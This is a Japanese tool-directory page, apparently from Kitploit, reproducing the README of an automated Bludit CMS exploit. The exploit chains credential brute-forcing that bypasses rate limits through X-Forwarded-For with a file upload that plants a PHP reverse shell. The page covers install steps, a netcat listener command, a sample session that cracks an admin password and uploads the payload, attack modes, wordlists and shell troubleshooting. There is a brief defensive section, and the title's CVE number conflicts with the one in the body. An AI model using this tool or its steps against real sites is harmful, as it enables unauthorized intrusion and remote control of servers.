Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2016-16113-POC — cve-2016-16113 | Kitploit
ツール/GitHubGitHub/d3vn0mi/cve-2016-16113-poc
パスワード攻撃ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHubd3vn0mi/cve-2016-16113-poc

CVE-2016-16113-POC

cve-2016-16113

リポジトリを見る
128ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Get RCE - Bludit CMS エクスプロイト

root@kitploit:~
     _ _____             ___            _ 
  __| |___ /_   ___ __  / _ \ _ __ ___ (_)
 / _` | |_ \ \ / / '_ \| | | | '_ ` _ \| |
| (_| |___) \ V /| | | | |_| | | | | | | |
 \__,_|____/ \_/ |_| |_|\___/|_| |_| |_|_|

CVE-2019-17240(認証バイパス)とCVE-2019-16113(任意ファイルアップロード)を組み合わせ、脆弱性のあるBludit CMSインストールに対してリモートコード実行を達成する自動化エクスプロイトツール。

⚠️ 法的免責事項

認可されたセキュリティテストのみを対象としています

このツールは、認可されたペネトレーションテストを実施するセキュリティ専門家、および法的境界内で活動するセキュリティ研究者を対象としています。コンピュータシステムへの不正アクセスは、米国のComputer Fraud and Abuse Act(CFAA)や世界各国の同様の法律により違法とされています。

このツールを使用することで、あなたは以下に同意したものとみなされます:

  • 自分が所有する、または明示的な書面による許可を得たシステムのみをテストすること
  • 適用されるすべての地域・州・連邦法を遵守すること
  • 自身の行動に対して全責任を負うこと

作者は一切の責任を負わず、このツールの誤用または損害についても責任を負いません。

📋 概要

このエクスプロイトは以下のプロセスを自動化します:

  1. ターゲットの稼働確認
  2. ブルートフォースによる認証バイパス(CVE-2019-17240を活用)
  3. 悪意のあるPHPリバースシェルのアップロード(CVE-2019-16113を悪用)
  4. リバースシェル接続の確立

脆弱性の詳細

  • CVE-2019-17240: 不適切なレート制限実装による認証バイパス(X-Forwarded-Forヘッダー操作で回避)
  • CVE-2019-16113: 悪意のあるPHPコードの実行を可能にする任意ファイルアップロードの脆弱性

影響を受けるバージョン: Bludit CMS 3.9.2 以下

🚀 機能

  • ✅ ターゲット稼働確認の自動化
  • ✅ ブルートフォースによる認証バイパス
  • ✅ ユーザー名列挙機能
  • ✅ ユーザー名+パスワードの複合ブルートフォース
  • ✅ CSRFトークンの自動処理
  • ✅ PHPリバースシェルペイロードの生成
  • ✅ 悪用を強化する.htaccessアップロード
  • ✅ 接続確認

📦 必要条件

  • Python 3.6+
  • 必要なPythonパッケージ:
    • requests

🔧 インストール

root@kitploit:~
# リポジトリをクローン
git clone https://github.com/yourusername/get-rce.git
cd get-rce

# 依存関係をインストール
pip install -r requirements.txt

requirements.txt:

root@kitploit:~
requests>=2.25.0

💻 使用方法

基本的な使用方法

root@kitploit:~
python3 get_rce.py

スクリプトは以下を対話的に尋ねます:

  1. ターゲットURL(例: https://target.com)
  2. リスナー(待受)のIPアドレス
  3. リスナーのポート
  4. ユーザー名をブルートフォースするかどうか
  5. ワードリストの場所

リスナーのセットアップ

エクスプロイトを実行する前に、netcatリスナーをセットアップします:

root@kitploit:~
nc -lvnp 4444

4444 を選択したポートに置き換えてください。

セッション例

root@kitploit:~
$ python3 get_rce.py

Enter target URL (i.e. https://target.com): http://10.10.10.191
[ ~ ] Enter listener's IP: 10.10.14.5
[ ~ ] Enter listener's port: 4444
[...] Checking if the target is live...
[ + ] The target is live! We are good to go...

[ ~ ] Should I bruteforce username? [Y/N]: N
[ ~ ] What username should I use? (leave this to use admin as username): 
[...] We are gonna default to 'admin' as username.

[ ~ ] Enter the location for password list: /usr/share/wordlists/rockyou.txt
[ * ] Tried: 123456
[ * ] Tried: password
[ * ] Tried: 12345678
...
[ + ] Creds found: admin:Password123
[ + ] Login succeed... We are good to go :)

[ + ] The payload XyZaBcDeFg.php has been uploaded...
[ + ] The payload .htaccess has been uploaded...
[...] Attempting to get a shell... @ http://10.10.10.191/bl-content/tmp/XyZaBcDeFg.php
[ + ] You should be getting a shell by now, if not open http://10.10.10.191/bl-content/tmp/XyZaBcDeFg.php

攻撃モード

モード1: 既知のユーザー名+パスワードブルートフォース

root@kitploit:~
Should I bruteforce username? [Y/N]: N
What username should I use?: admin
Enter the location for password list: /path/to/passwords.txt

モード2: 完全な資格情報ブルートフォース

root@kitploit:~
Should I bruteforce username? [Y/N]: Y
Enter the location for username wordlist: /path/to/usernames.txt
Enter the location for password wordlist: /path/to/passwords.txt

📝 推奨ワードリスト

  • SecLists: https://github.com/danielmiessler/SecLists

    • ユーザー名: SecLists/Usernames/Names/names.txt
    • パスワード: SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt
  • RockYou: /usr/share/wordlists/rockyou.txt(Kali Linux)

🔍 動作の仕組み

  1. ターゲット検証: ターゲットに到達可能かどうかを確認
  2. 認証バイパス:
    • X-Forwarded-For ヘッダーを操作してレート制限を回避
    • 提供されたワードリストを使用して資格情報をブルートフォース
    • CSRFトークンを自動処理
  3. 悪用:
    • PHPリバースシェルを /bl-content/tmp/ にアップロード
    • 実行を保証するため .htaccess ファイルをアップロード
    • ペイロードをトリガーしてリバースシェルを確立
  4. シェルアクセス: リスナーに接続を返す

🛡️ 防御策

システム管理者向け:

  • 直ちに Bludit 3.9.3 以降へアップデート
  • IPではなくセッションに基づいた適切なレート制限を実装
  • すべてのファイルアップロードを検証(タイプ、拡張子、コンテンツ)
  • Web Application Firewall(WAF)を使用
  • /bl-content/tmp/ ディレクトリに不審なファイルがないか監視
  • 強力なパスワードポリシーを実装
  • アカウントロックアウト機構を有効化

🐛 トラブルシューティング

問題: 「The target seems to be down」(ターゲットがダウンしているように見える)

  • URLが正しく、プロトコル(http/https)を含んでいるか確認
  • ネットワーク接続を確認
  • ターゲットが実際にBluditを実行しているか確認

問題: 「Login failed」(ログイン失敗)

  • 資格情報が正しいか確認
  • より包括的なワードリストを試す
  • ターゲットに追加の認証メカニズムがないか確認

問題: 「No shell received」(シェルが受信できない)

  • リスナーが実行中か確認
  • 両側のファイアウォールルールを確認
  • リスナーのIPとポートが正しく到達可能であるか確認

🔗 参考情報

  • CVE-2019-17240 詳細
  • CVE-2019-16113 詳細
  • Bludit 公式ウェブサイト

👤 作者

d3vn0mi

📄 ライセンス

このプロジェクトは、教育目的および認可されたセキュリティテスト目的のみで提供されます。このREADMEの冒頭にある免責事項を参照してください。

🤝 貢献

貢献、問題報告、機能リクエストは歓迎します!お気軽に issues ページをご確認ください。

⭐ 謝辞

  • これらの脆弱性を発見・文書化してくれたセキュリティ研究コミュニティ
  • 迅速にパッチを提供してくれたBluditチーム
ツールをダウンロード